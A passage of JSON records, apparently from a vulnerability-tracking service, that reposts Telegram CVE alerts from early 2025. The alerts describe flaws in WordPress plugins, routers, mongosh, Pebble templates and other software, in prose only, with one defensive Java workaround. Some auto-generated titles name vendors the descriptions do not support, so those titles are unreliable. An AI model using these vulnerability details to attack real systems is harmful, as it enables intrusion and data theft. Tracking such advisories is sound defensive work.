\"CVE FEED\",\n  \"Title\": \"CVE-2025-1616 - FiberHome AN5506-01A ONU GPON RP2511 Diagnosis Destination Address OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1616 \nPublished : Feb. 24, 2025, 4:15 a.m. | 28\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in FiberHome AN5506-01A ONU GPON RP2511. Affected by this issue is some unknown functionality of the component Diagnosis. The manipulation of the argument Destination Address leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T06:15:09.000000Z"}, {"uuid": "5e57f044-86f1-4c63-b938-58e4fba8da24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1617", "type": "seen", "source": "https://t.me/cvedetector/18774", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1617 - Netis WF2780 Wireless 2.4G Menu Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1617 \nPublished : Feb. 24, 2025, 4:15 a.m. | 28\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in Netis WF2780 2.1.41925. This affects an unknown part of the component Wireless 2.4G Menu. The manipulation of the argument SSID leads to cross site scripting. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T06:15:08.000000Z"}, {"uuid": "e4256a0e-e7e8-4ccf-94ea-21ee392f9c17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1607", "type": "seen", "source": "https://t.me/cvedetector/18773", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1607 - SourceCodester Best Employee Management System Remote Authorization Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-1607 \nPublished : Feb. 24, 2025, 1:15 a.m. | 1\u00a0hour, 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in SourceCodester Best Employee Management System 1.0. This issue affects some unknown processing of the file /admin/salary_slip.php. The manipulation of the argument id leads to authorization bypass. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T03:44:47.000000Z"}, {"uuid": "1dcace59-313a-452f-b20f-ed743ef0682a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1606", "type": "seen", "source": "https://t.me/cvedetector/18760", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1606 - SourceCodester Best Employee Management System Remote Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-1606 \nPublished : Feb. 24, 2025, 12:15 a.m. | 22\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in SourceCodester Best Employee Management System 1.0. This vulnerability affects unknown code of the file /admin/backup/backups.php. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T02:04:20.000000Z"}, {"uuid": "ddae1e57-0954-4066-964b-3e5122ccb2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7649", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1653\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Directory Listings WordPress plugin \u2013 uListing plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.7. This is due to the stm_listing_profile_edit AJAX action not having enough restriction on the user meta that can be updated. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.\n\ud83d\udccf Published: 2025-03-15T02:22:42.443Z\n\ud83d\udccf Modified: 2025-03-15T02:22:42.443Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4181b26e-89c7-4020-a3d4-29bdc88d7438?source=cve\n2. https://wordpress.org/plugins/ulisting/", "creation_timestamp": "2025-03-15T02:45:39.000000Z"}, {"uuid": "af5a204c-8aa4-4378-8f3a-7777ec0af2af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1671", "type": "seen", "source": "https://t.me/cvedetector/19219", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1671 - Academist Membership WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1671 \nPublished : March 1, 2025, 8:15 a.m. | 31\u00a0minutes ago \nDescription : The Academist Membership plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.1.6. This is due to the academist_membership_check_facebook_user() function not properly verifying a user's identity prior to authenticating them. This makes it possible for unauthenticated attackers to log in as any user, including site administrators. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-01T10:35:34.000000Z"}, {"uuid": "6b1c12e0-ff2f-4ce2-af21-4cfbbda5ddfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1638", "type": "seen", "source": "https://t.me/cvedetector/19218", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1638 - Alloggio Membership for WordPress Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-1638 \nPublished : March 1, 2025, 8:15 a.m. | 31\u00a0minutes ago \nDescription : The Alloggio Membership plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.0.2. This is due to the plugin not properly validating a user's identity through the alloggio_membership_init_rest_api_facebook_login and alloggio_membership_init_rest_api_google_login functions. This makes it possible for unauthenticated attackers to log in as any user, including administrators, without knowing a password. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-01T10:35:33.000000Z"}, {"uuid": "0bccf574-6e98-49c6-89f4-548b5f6f4bb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1687", "type": "seen", "source": "https://t.me/cvedetector/19106", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1687 - Cardealer WordPress Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1687 \nPublished : Feb. 28, 2025, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : The Cardealer theme for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.6.4. This is due to missing nonce validation on the 'update_user_profile' function. This makes it possible for unauthenticated attackers to update the user email and password via a forged request, granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T03:38:47.000000Z"}, {"uuid": "be13f4ec-1a65-4a7b-b958-9903c838f57f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1682", "type": "seen", "source": "https://t.me/cvedetector/19105", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1682 - Cardealer WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1682 \nPublished : Feb. 28, 2025, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : The Cardealer theme for WordPress is vulnerable to privilege escalation in versions up to, and including, 1.6.4 due to missing capability check on the 'save_settings' function. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify the default user role. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T03:38:46.000000Z"}, {"uuid": "fd210719-bd8e-408d-943d-ee89bcc71d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1692", "type": "seen", "source": "https://t.me/cvedetector/19042", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1692 - MongoDB Shell Control Character Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1692 \nPublished : Feb. 27, 2025, 1:15 p.m. | 2\u00a0hours, 14\u00a0minutes ago \nDescription : The MongoDB Shell may be susceptible to control character injection where an attacker with control of the user\u2019s clipboard could manipulate them to paste text into mongosh that evaluates arbitrary code. Control characters in the pasted text can be used to obfuscate malicious code. This issue affects mongosh versions prior to 2.3.9 \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T16:45:07.000000Z"}, {"uuid": "8340150c-baa3-4c37-8572-8f8d5f125270", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1691", "type": "seen", "source": "https://t.me/cvedetector/19041", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1691 - MongoDB Shell Control Character Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1691 \nPublished : Feb. 27, 2025, 1:15 p.m. | 2\u00a0hours, 14\u00a0minutes ago \nDescription : The MongoDB Shell may be susceptible to control character injection where an attacker with control of the mongosh autocomplete feature, can use the autocompletion feature to input and run obfuscated malicious text. This requires user interaction in the form of the user using \u2018tab\u2019 to autocomplete text that is a prefix of the attacker\u2019s prepared autocompletion. This issue affects mongosh versions prior to\u00a02.3.9.\u00a0  \n  \n  \n  \n  \nThe vulnerability is exploitable only when mongosh is connected to a cluster that is partially or fully controlled by an attacker. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T16:45:06.000000Z"}, {"uuid": "c1fa6e67-7320-4279-ad39-c9e509c1ab03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1662", "type": "seen", "source": "https://t.me/cvedetector/19133", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1662 - WordPress URL Media Uploader SSRF\", \n  \"Content\": \"CVE ID : CVE-2025-1662 \nPublished : Feb. 28, 2025, 9:15 a.m. | 51\u00a0minutes ago \nDescription : The URL Media Uploader plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.0 via the 'url_media_uploader_url_upload' action. This makes it possible for authenticated attackers, with author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T11:10:19.000000Z"}, {"uuid": "cb622a10-c3b9-4e28-b570-9cbe6ca8e44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1681", "type": "seen", "source": "https://t.me/cvedetector/19112", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1681 - WordPress Cardealer Theme Cross-Site Request Forgery (CSRF) and File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1681 \nPublished : Feb. 28, 2025, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : The Cardealer theme for WordPress is vulnerable to unauthorized modification of data and loss of data due to a missing capability check and missing filename sanitization on the demo theme scheme AJAX functions in versions up to, and including, 1.6.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to change or delete arbitrary css and js files. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T03:38:54.000000Z"}, {"uuid": "63129e5c-3875-4a66-88fe-2931a253d68c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1693", "type": "seen", "source": "https://t.me/cvedetector/19043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1693 - MongoDB Shell Control Character Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1693 \nPublished : Feb. 27, 2025, 1:15 p.m. | 2\u00a0hours, 14\u00a0minutes ago \nDescription : The MongoDB Shell may be susceptible to control character injection where an attacker with control over the database cluster contents can inject control characters into the shell output. This may result in the display of falsified messages that appear to originate from mongosh or the underlying operating system, potentially misleading users into executing unsafe actions.  \n  \n  \nThe vulnerability is exploitable only when mongosh is connected to a cluster that is partially or fully controlled by an attacker.  \n  \n  \nThis issue affects mongosh versions prior to 2.3.9 \nSeverity: 3.9 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T16:45:10.000000Z"}, {"uuid": "6123a9b8-6ac5-4e14-9be8-95b4b89212ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1690", "type": "seen", "source": "https://t.me/cvedetector/19034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1690 - \"ThemeMakers Stripe Checkout Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2025-1690 \nPublished : Feb. 27, 2025, 9:15 a.m. | 2\u00a0hours, 5\u00a0minutes ago \nDescription : The ThemeMakers Stripe Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'stripe' shortcode in versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T12:52:30.000000Z"}, {"uuid": "1c4fb3b0-bf96-40a5-aac1-9e10b9d70bb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1689", "type": "seen", "source": "https://t.me/cvedetector/19028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1689 - WordPress ThemeMakers PayPal Express Checkout Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1689 \nPublished : Feb. 27, 2025, 7:15 a.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : The ThemeMakers PayPal Express Checkout plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'paypal' shortcode in versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T10:22:17.000000Z"}, {"uuid": "5884e0ac-bf31-46b5-bc59-d2b09e155f7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1686", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/19021", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1686 - Apache Pebble Templates File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1686 \nPublished : Feb. 27, 2025, 5:15 a.m. | 1\u00a0hour, 54\u00a0minutes ago \nDescription : All versions of the package io.pebbletemplates:pebble are vulnerable to External Control of File Name or Path via the include tag. A high privileged attacker can access sensitive local files by crafting malicious notification templates that leverage this tag to include files like /etc/passwd or /proc/1/environ.  \n  \n Workaround  \n  \nThis vulnerability can be mitigated by disabling the include macro in Pebble Templates:  \n  \njava  \nnew PebbleEngine.Builder()  \n            .registerExtensionCustomizer(new DisallowExtensionCustomizerBuilder()  \n                    .disallowedTokenParserTags(List.of(\"include\"))  \n                    .build())  \n            .build(); \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T08:42:06.000000Z"}, {"uuid": "bf5c8287-5451-43b6-bd60-29583f04be74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1673", "type": "seen", "source": "https://t.me/cvedetector/18861", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1673 - Apache DNS Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1673 \nPublished : Feb. 25, 2025, 7:15 a.m. | 2\u00a0hours, 23\u00a0minutes ago \nDescription : A malicious or malformed DNS packet without a payload can cause an out-of-bounds read, resulting in a crash (denial of service) or an incorrect computation. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T10:41:20.000000Z"}, {"uuid": "25a0e001-bee0-4407-892d-a3ea29796654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1648", "type": "seen", "source": "https://t.me/cvedetector/18860", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1648 - WordPress Yawave Plugin SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1648 \nPublished : Feb. 25, 2025, 7:15 a.m. | 2\u00a0hours, 23\u00a0minutes ago \nDescription : The Yawave plugin for WordPress is vulnerable to SQL Injection via the 'lbid' parameter in all versions up to, and including, 2.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T10:41:16.000000Z"}, {"uuid": "2c499cdb-ac3c-4a06-984e-c5e0df1395bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1634", "type": "seen", "source": "https://t.me/cvedetector/18941", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1634 - Quarkus Resteasy Memory Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1634 \nPublished : Feb. 26, 2025, 5:15 p.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : A flaw was found in the quarkus-resteasy extension, which causes memory leaks when client requests with low timeouts are made. If a client request times out, a buffer is not released correctly, leading to increased memory usage and eventual application crash due to OutOfMemoryError. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-26T20:08:14.000000Z"}, {"uuid": "15c18fc4-6d0d-49f2-b755-7be7690f6768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1675", "type": "seen", "source": "https://t.me/cvedetector/18856", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1675 - Apache DNS memcpy Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-1675 \nPublished : Feb. 25, 2025, 8:15 a.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : The function dns_copy_qname in dns_pack.c performs performs a memcpy operation with an untrusted field and does not check if the source buffer is large enough to contain the copied data. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T10:41:13.000000Z"}, {"uuid": "a23d1e27-d47a-45f4-b397-c78da86e9c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1676", "type": "seen", "source": "https://t.me/cvedetector/18866", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1676 - Hzmanyun Education and Training System PDF2SWF OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1676 \nPublished : Feb. 25, 2025, 11:15 a.m. | 2\u00a0hours, 32\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in hzmanyun Education and Training System 3.1.1. Affected by this vulnerability is the function pdf2swf of the file /pdf2swf. The manipulation of the argument file leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T14:52:07.000000Z"}, {"uuid": "e88dbaed-8604-46f2-b141-3c30f5801b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1646", "type": "seen", "source": "https://t.me/cvedetector/18853", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1646 - Lumsoft ERP ASPX File Handler Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1646 \nPublished : Feb. 25, 2025, 3:15 a.m. | 2\u00a0hours, 11\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in Lumsoft ERP 8. Affected by this issue is some unknown functionality of the file /Api/TinyMce/UploadAjaxAPI.ashx of the component ASPX File Handler. The manipulation of the argument file leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T06:30:19.000000Z"}, {"uuid": "5d3c7cf1-b3f2-4fde-9622-567590964941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1674", "type": "seen", "source": "https://t.me/cvedetector/18857", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1674 - Citrix NetScaler Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1674 \nPublished : Feb. 25, 2025, 8:15 a.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : A lack of input validation allows for out of bounds reads caused by malicious or malformed packets. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T10:41:13.000000Z"}, {"uuid": "552f945c-381a-4dab-8ba7-3aaf60dd6433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1643", "type": "seen", "source": "https://t.me/cvedetector/18852", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1643 - Benner ModernaNet Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1643 \nPublished : Feb. 25, 2025, 1:15 a.m. | 2\u00a0hours, 2\u00a0minutes ago \nDescription : A vulnerability was found in Benner ModernaNet up to 1.1.0. It has been rated as problematic. This issue affects some unknown processing of the file /DadosPessoais/SG_AlterarSenha. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T04:50:00.000000Z"}, {"uuid": "a5537736-452a-4eeb-aae0-346a9dd10c3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1642", "type": "seen", "source": "https://t.me/cvedetector/18851", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1642 - Benner ModernaNet Remote Resource ID Improper Control Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1642 \nPublished : Feb. 25, 2025, 1:15 a.m. | 2\u00a0hours, 2\u00a0minutes ago \nDescription : A vulnerability was found in Benner ModernaNet up to 1.1.0. It has been declared as critical. This vulnerability affects unknown code of the file 